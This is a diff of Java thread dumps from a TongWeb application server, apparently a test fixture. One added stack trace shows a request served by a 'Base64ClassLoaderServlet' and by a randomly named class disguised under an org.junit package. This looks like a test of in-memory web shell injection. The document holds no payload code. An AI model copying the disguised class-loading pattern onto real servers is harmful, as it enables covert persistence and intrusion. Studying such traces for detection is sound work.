java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -457,12 +403,66 @@ ThreadStacks:
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"RetryTimer" #101 daemon [WAITING] on java.util.TaskQueue@d18841
+"Signal Dispatcher" #4 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+
+"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@42678329
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:502)
- at java.util.TimerThread.mainLoop(Timer.java:526)
- at java.util.TimerThread.run(Timer.java:505)
+ at java.lang.ref.Reference.tryHandlePending(Reference.java:191)
+ at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153)
+
+"http-nio2-8080-exec-6" #34 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.lang.Thread.dumpThreads(Native Method)
+ at java.lang.Thread.getAllStackTraces(Thread.java:1615)
+ at org.junit.YLznV.ErrorSektbHandler.toString(BasicInfoPrinter.java:26)
+ at java.lang.String.valueOf(String.java:2994)
+ at com.tongweb.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:244)
+ at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26)
+ at com.tongweb.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:230)
+ at com.tongweb.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:165)
+ at ServletNameTestFilter.doFilter(ServletNameTestFilter.java:16)
+ at com.tongweb.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:192)
+ at com.tongweb.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:165)
+ at com.tongweb.web.websocket.server.WsFilter.doFilter(WsFilter.java:53)
+ at com.tongweb.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:192)
+ at com.tongweb.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:165)
+ at EmptyFilter.doFilter(EmptyFilter.java:12)
+ at com.tongweb.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:192)
+ at com.tongweb.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:165)
+ at UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:21)
+ at com.tongweb.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:192)
+ at com.tongweb.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:165)
+ at com.tongweb.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198)
+ at com.tongweb.catalina.core.StandardContextValve.invoke(StandardContextValve.java:108)
+ at com.tongweb.catalina.core.ThanosStandardContextValve.invoke(ThanosStandardContextValve.java:107)
+ at com.tongweb.tomee.catalina.OpenEJBValve.invoke(OpenEJBValve.java:44)
+ at com.tongweb.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:452)
+ at com.tongweb.catalina.core.StandardHostValve.invoke(StandardHostValve.java:140)
+ at com.tongweb.tomee.catalina.OpenEJBSecurityListener$RequestCapturer.invoke(OpenEJBSecurityListener.java:97)
+ at com.tongweb.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:80)
+ at com.tongweb.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:87)
+ at com.tongweb.catalina.core.ThanosStandardEngineValve.invoke(ThanosStandardEngineValve.java:43)
+ at com.tongweb.catalina.realm.RealmValve.invoke(RealmValve.java:21)
+ at com.tongweb.catalina.connector.ThanosCoyoteAdaptor.service(ThanosCoyoteAdaptor.java:460)
+ at com.tongweb.coyote.http11.Http11Processor.service(Http11Processor.java:780)
+ at com.tongweb.coyote.http11.ThanosHttp11Processor.service(ThanosHttp11Processor.java:19)
+ at com.tongweb.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)
+ at com.tongweb.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:913)
+ at com.tongweb.web.util.net.Nio2Endpoint$SocketProcessor.doRun(Nio2Endpoint.java:1610)
+ at com.tongweb.web.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
+ at com.tongweb.web.util.net.AbstractEndpoint.processSocket(AbstractEndpoint.java:853)
+ at com.tongweb.web.util.net.Nio2Endpoint$Nio2SocketWrapper$4.completed(Nio2Endpoint.java:640)
+ at com.tongweb.web.util.net.Nio2Endpoint$Nio2SocketWrapper$4.completed(Nio2Endpoint.java:618)
+ at sun.nio.ch.Invoker.invokeUnchecked(Invoker.java:126)
+ at sun.nio.ch.Invoker$2.run(Invoker.java:218)
+ at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1172)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
"NioBlockingSelector.BlockPoller-1" #40 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
@@ -473,7 +473,12 @@ ThreadStacks:
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
at com.tongweb.web.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:339)
-"pool-5-thread-1" #184 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@76721ab3
+"GC Daemon" #17 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@230f2a9c
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at sun.misc.GC$Daemon.run(GC.java:117)
+
+"Thread-29" #120 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@239aa349
java.lang.Thread.State: TIMED_WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
@@ -485,23 +490,13 @@ ThreadStacks:
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"GC Daemon" #17 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@4a24f1e5
+"snapshot" #119 daemon [TIMED_WAITING] on java.util.TaskQueue@2ec8757a
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
- at sun.misc.GC$Daemon.run(GC.java:117)
-
-"JCA-default-thread-pool-worker-7" #97 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@485f58
- java.lang.Thread.State: WAITING
- at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
- at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
- at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
- at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
- at java.lang.Thread.run(Thread.java:750)
+ at java.util.TimerThread.mainLoop(Timer.java:552)
+ at java.util.TimerThread.run(Timer.java:505)
-"http-nio2-8080-exec-5" #33 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@a014ab9
+"http-nio-5100-exec-10" #114 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2f99958
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -515,17 +510,13 @@ ThreadStacks:
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:750)
-"http-nio-5100-ClientPoller-0" #127 daemon [RUNNABLE]
- java.lang.Thread.State: RUNNABLE
- at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
- at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
- at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
- at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
- at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
- at com.tongweb.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:815)
+"http-nio2-9060-AsyncTimeout" #102 daemon [TIMED_WAITING]
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Thread.sleep(Native Method)
+ at com.tongweb.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1253)
at java.lang.Thread.run(Thread.java:750)
-"http-nio2-8080-exec-2" #30 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@a014ab9
+"http-nio2-8080-exec-8" #36 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@47fb0763
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -539,13 +530,7 @@ ThreadStacks:
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:750)
-"http-nio2-0.0.0.0-9060-AsyncTimeout" #114 daemon [TIMED_WAITING]
- java.lang.Thread.State: TIMED_WAITING
- at java.lang.Thread.sleep(Native Method)
- at com.tongweb.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1279)
- at java.lang.Thread.run(Thread.java:750)
-
-"http-nio2-0.0.0.0-9060-exec-1" #18 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74004404
+"http-nio-5100-exec-8" #112 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2f99958
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -559,21 +544,24 @@ ThreadStacks:
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:750)
-"http-nio-5100-exec-7" #123 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7214e361
- java.lang.Thread.State: WAITING
- at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
- at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
- at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
- at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
- at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
- at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
- at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+"RMI TCP Accept-0" #92 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.net.PlainSocketImpl.socketAccept(Native Method)
+ at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
+ at java.net.ServerSocket.implAccept(ServerSocket.java:560)
+ at java.net.ServerSocket.accept(ServerSocket.java:528)
+ at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405)
+ at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377)
+ at java.lang.Thread.run(Thread.java:750)
+
+"Thread-6" #39 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPoll.epollWait(Native Method)
+ at sun.nio.ch.EPollPort$EventHandlerTask.poll(EPollPort.java:194)
+ at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:268)
at java.lang.Thread.run(Thread.java:750)
-"http-nio2-0.0.0.0-9060-exec-6" #23 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74004404
+"http-nio2-8080-exec-9" #37 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@47fb0763
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -587,7 +575,51 @@ ThreadStacks:
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:750)
-"http-nio-5100-exec-8" #124 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7214e361
+"Thread-32" #140 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@50c8d541
+ java.lang.Thread.State: TIMED_WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"Auto-deploy-timer" #162 daemon [TIMED_WAITING] on java.util.TaskQueue@ac95e0e
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.util.TimerThread.mainLoop(Timer.java:552)
+ at java.util.TimerThread.run(Timer.java:505)
+
+"RMI RenewClean-[172.17.0.4:37515]" #96 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@7c3f24f5
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
+ at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563)
+ at java.lang.Thread.run(Thread.java:750)
+
+"RMI TCP Connection(1)-172.17.0.4" #94 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.net.SocketInputStream.socketRead0(Native Method)
+ at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
+ at java.net.SocketInputStream.read(SocketInputStream.java:171)
+ at java.net.SocketInputStream.read(SocketInputStream.java:141)
+ at java.io.BufferedInputStream.fill(BufferedInputStream.java:246)
+ at java.io.BufferedInputStream.read(BufferedInputStream.java:265)
+ at java.io.FilterInputStream.read(FilterInputStream.java:83)
+ at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$21/953137620.run(Unknown Source)
+ at java.security.AccessController.doPrivileged(Native Method)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-8080-exec-2" #30 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@47fb0763
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -601,13 +633,7 @@ ThreadStacks:
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:750)
-"ContainerBackgroundProcessor[StandardEngine[TONGWEB]]" #112 daemon [TIMED_WAITING]
- java.lang.Thread.State: TIMED_WAITING
- at java.lang.Thread.sleep(Native Method)
- at com.tongweb.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1349)
- at java.lang.Thread.run(Thread.java:750)
-
-"http-nio-5100-exec-6" #122 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7214e361
+"http-nio2-9060-exec-2" #19 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6c60d58
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -621,33 +647,33 @@ ThreadStacks:
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:750)
-"http-nio-5100-ClientPoller-1" #128 daemon [RUNNABLE]
+"Thread-5" #28 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
- at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
- at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
- at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
- at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
- at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
- at com.tongweb.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:815)
+ at sun.nio.ch.EPoll.epollWait(Native Method)
+ at sun.nio.ch.EPollPort$EventHandlerTask.poll(EPollPort.java:194)
+ at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:268)
at java.lang.Thread.run(Thread.java:750)
-"Auto-deploy-timer" #190 daemon [TIMED_WAITING] on java.util.TaskQueue@f3a4f60
- java.lang.Thread.State: TIMED_WAITING
+"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@11b1fdad
+ java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
- at java.util.TimerThread.mainLoop(Timer.java:552)
- at java.util.TimerThread.run(Timer.java:505)
+ at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
+ at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
+ at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:188)
-"RMI TCP Accept-7200" #103 daemon [RUNNABLE]
- java.lang.Thread.State: RUNNABLE
- at java.net.PlainSocketImpl.socketAccept(Native Method)
- at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
- at java.net.ServerSocket.implAccept(ServerSocket.java:560)
- at java.net.ServerSocket.accept(ServerSocket.java:528)
- at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405)
- at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377)
+"http-nio2-8080-Acceptor-0" #103 daemon [WAITING] on java.util.concurrent.CountDownLatch$Sync@7454007
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer.parkAndCheckInterrupt(AbstractQueuedSynchronizer.java:836)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer.doAcquireSharedInterruptibly(AbstractQueuedSynchronizer.java:997)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer.acquireSharedInterruptibly(AbstractQueuedSynchronizer.java:1304)
+ at java.util.concurrent.CountDownLatch.await(CountDownLatch.java:231)
+ at sun.nio.ch.PendingFuture.get(PendingFuture.java:180)
+ at com.tongweb.web.util.net.Nio2Endpoint$Acceptor.run(Nio2Endpoint.java:450)
at java.lang.Thread.run(Thread.java:750)
-"http-nio2-8080-exec-10" #38 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@a014ab9
+"http-nio2-9060-exec-10" #27 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6c60d58
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -661,15 +687,7 @@ ThreadStacks:
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:750)
-"http-nio-5100-Acceptor-0" #129 daemon [RUNNABLE]
- java.lang.Thread.State: RUNNABLE
- at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
- at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
- at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
- at com.tongweb.web.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:472)
- at java.lang.Thread.run(Thread.java:750)
-
-"http-nio2-0.0.0.0-9060-exec-2" #19 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74004404
+"http-nio2-8080-exec-1" #29 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@47fb0763
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -683,37 +701,39 @@ ThreadStacks:
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:750)
-"RMI TCP Connection(3)-127.0.0.1" #109 daemon [RUNNABLE]
- java.lang.Thread.State: RUNNABLE
- at java.net.SocketInputStream.socketRead0(Native Method)
- at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
- at java.net.SocketInputStream.read(SocketInputStream.java:171)
- at java.net.SocketInputStream.read(SocketInputStream.java:141)
- at java.io.BufferedInputStream.fill(BufferedInputStream.java:246)
- at java.io.BufferedInputStream.read(BufferedInputStream.java:265)
- at java.io.FilterInputStream.read(FilterInputStream.java:83)
- at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555)
- at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
- at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
- at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$17/1078591587.run(Unknown Source)
- at java.security.AccessController.doPrivileged(Native Method)
- at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
- at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
- at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+"http-nio2-9060-exec-7" #24 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6c60d58
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:750)
-"TONGWEB-startStop-1" #110 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1151f6b3
- java.lang.Thread.State: TIMED_WAITING
+"JCA-default-thread-pool-worker-3" #81 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7676449e
+ java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
- at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467)
- at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"http-nio-5100-exec-5" #121 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7214e361
+"compress-log-timer" #14 daemon [WAITING] on java.util.TaskQueue@47bc47cf
+ java.lang.Thread.State: WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.Object.wait(Object.java:502)
+ at java.util.TimerThread.mainLoop(Timer.java:526)
+ at java.util.TimerThread.run(Timer.java:505)
+
+"http-nio-5100-exec-1" #105 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2f99958
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -727,7 +747,7 @@ ThreadStacks:
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:750)
-"http-nio-5100-exec-3" #119 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7214e361
+"http-nio2-9060-exec-5" #22 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6c60d58
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -741,7 +761,7 @@ ThreadStacks:
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:750)
-"http-nio-5100-exec-2" #118 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7214e361
+"http-nio-5100-exec-4" #108 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2f99958
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -755,7 +775,19 @@ ThreadStacks:
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:750)
-"http-nio2-0.0.0.0-9060-exec-9" #26 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74004404
+"http-nio2-9060-Acceptor-0" #101 daemon [WAITING] on java.util.concurrent.CountDownLatch$Sync@42a1db41
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer.parkAndCheckInterrupt(AbstractQueuedSynchronizer.java:836)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer.doAcquireSharedInterruptibly(AbstractQueuedSynchronizer.java:997)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer.acquireSharedInterruptibly(AbstractQueuedSynchronizer.java:1304)
+ at java.util.concurrent.CountDownLatch.await(CountDownLatch.java:231)
+ at sun.nio.ch.PendingFuture.get(PendingFuture.java:180)
+ at com.tongweb.web.util.net.Nio2Endpoint$Acceptor.run(Nio2Endpoint.java:450)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-8080-exec-7" #35 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@47fb0763
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -769,29 +801,7 @@ ThreadStacks:
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:750)
-"main" #1 [WAITING] on java.lang.Thread@4212a0c8
- java.lang.Thread.State: WAITING
